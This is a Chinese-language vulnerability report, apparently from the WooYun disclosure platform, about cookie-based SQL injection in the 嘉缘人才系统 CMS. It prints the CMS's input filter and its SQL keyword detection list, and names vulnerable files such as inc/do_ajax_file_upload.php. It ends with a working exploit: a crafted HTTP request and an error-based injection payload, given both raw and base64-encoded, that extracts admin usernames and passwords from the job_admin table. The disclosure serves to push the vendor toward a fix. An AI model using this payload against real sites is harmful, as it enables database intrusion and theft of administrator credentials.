### 简要描述：
一次性全部打包，希望厂商重视这个问题，做好过滤。
### 详细说明：
这套cms存在一个很大隐患就是对于cookie的过滤。根据这个cms给出的函数可以写一个dome
```
<?php
error_reporting(0);
foreach($_REQUEST as $_k=>$_v){
if( strlen($_k)>0 && preg_match('/^(cfg|GLOBALS)/i',$_k) ){
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v));
//foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
function cleartags($msg){
if(!$msg) return '';
$msg=stripslashes($msg);
$msg=strip_tags($msg);
$msg=dhtmlspecialchars($msg);
return trim(addslashes($msg));
}
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}else{
$string = str_replace(array('&', '"', '<', '>'),array('&', '"', '<', '>'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/','&\\1', $string);
}
}
return $string;
}
function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句，直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "aaaaaaa";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
echo "bbbbbbb";
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ccccccc";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ddddddd";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "eeeeeee";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "fffffff";
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
echo "ggggggg";
}
if (!empty($fail)){
//log_write($dbstr,'sql');
echo "SafeError:10002";exit;
}
else
{
return $dbstr;
}
}
$word = $_COOKIE['word'];
echo $word;
?>
```
我们来测试对于cookie的过滤。可以看到直接引入单引号
[<img src="https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png)
cms中获取cookie的函数是这样写的，其实最终效果和demo一样
```
function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';
}
```
然后我们在整个cms中搜索一下这个函数
[<img src="https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png)
其中 [WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369)
[WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394)
提交过这个cookie的问题，但是厂商是怎样做的呢？
就对于上面两个文件加上了cleartags这个函数，其他的就不管了。
除了这两处，还存在12处。都存在这个cookie注入问题。
在\inc\attention.php
```
require(dirname(__FILE__).'/../config.inc.php');
if(empty($do)) $do= '';$db=connectdb();
$mid=intval($mid);
if($do=="addatten"&&$mid){
$username=_getcookie('user_login');
if($username==''){
echo 'nologin';exit();
}else{
$rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1");
```
在\inc\concat.php
```
require(dirname(__FILE__).'/../config.inc.php');
$db=connectdb();
$username=_getcookie('user_login');
$usertype=_getcookie('user_type');
require_once(FR_ROOT.'/inc/paylog.inc.php');
//取权限
$Glimit=$Gintegral=Array(0,0,0,0,0,0,0,0,0,0,0,0,0);
if($username!=''){
$rs = $db->get_one("select m_id,m_name,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_limit,g_limit,g_integral from {$cfg['tb_pre']}member INNER JOIN {$cfg['tb_pre']}group on m_groupid=g_id where m_login='$username' limit 0,1");
```
在\inc\do_ajax_file_upload.php
```
<?php
require_once(dirname(__FILE__).'/../config.inc.php');
!isset($db)&&$db=connectdb();
$username=_getcookie('user_login');
if($username!=''){
$userpass=_getcookie('user_pass');
$rs = $db->get_one("select m_id from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 1");
}
```
以及
member\course_list.php
member\department_list.php
member\professor.php
member\studnet_list.php
等等地方都存在这个注入。
对于漏洞的利用方式
[WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369)
[WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394)
这两个提供了，盲注的方法。
根据我前面提交过的漏洞，还可以通过报错注入直接出数据。
我以\inc\do_ajax_file_upload.php为例
```
GET /frcms/inc/do_ajax_file_upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fr_user_login=ZnVja1NnWlFkMzMwNVY%3D;
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
```
将base64解密
```
fuckSgZQd3305V
```
fuck为我们可控，我们构造
```
fuck' or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)#SgZQd3305V
```
然后base64一次
```
ZnVjaycgb3IgY2hhcihAYCdgKSBvciAoU0VMRUNUIDEgRlJPTShTRUxFQ1QgY291bnQoKiksY29uY2F0KChTRUxFQ1QoU0VMRUNUIGNvbmNhdChhX3VzZXIsMHgyNyxhX3Bhc3MpKSBGUk9NIGpvYl9hZG1pbiBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIGdyb3VwIGJ5IHgpYSkjU2daUWQzMzA1Vg==
```
提交，mysql报错
[<img src="https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png)
然后访问日志记录文件
[<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png)
京公网安备 11010502034610号
暂无评论